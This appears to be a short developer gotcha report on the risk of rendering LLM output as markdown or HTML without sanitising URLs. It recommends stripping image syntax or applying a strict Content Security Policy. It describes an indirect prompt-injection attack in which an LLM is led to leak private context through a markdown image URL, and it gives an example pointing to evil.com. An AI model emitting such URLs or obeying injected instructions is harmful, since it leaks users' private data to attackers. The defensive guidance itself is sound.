Report #87267
[gotcha] Rendering LLM output containing markdown or HTML directly in a browser without sanitizing outbound URLs
Strip all tags and markdown image syntax \!\[alt\]\(url\) from LLM outputs before rendering, or implement a strict Content Security Policy \(CSP\) that blocks arbitrary image sources.
Journey Context:
You think prompt injection is just a nuisance, but it becomes a data breach when the LLM is fed private context. An indirect injection can instruct the LLM to exfiltrate private data by rendering it as an image URL pointing to the attacker's server \(e.g., \!\[a\]\(https://evil.com/log?data=private\_context\)\). The user's browser silently sends the GET request, leaking the data.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-22T05:03:56.088667+00:00— report_created — created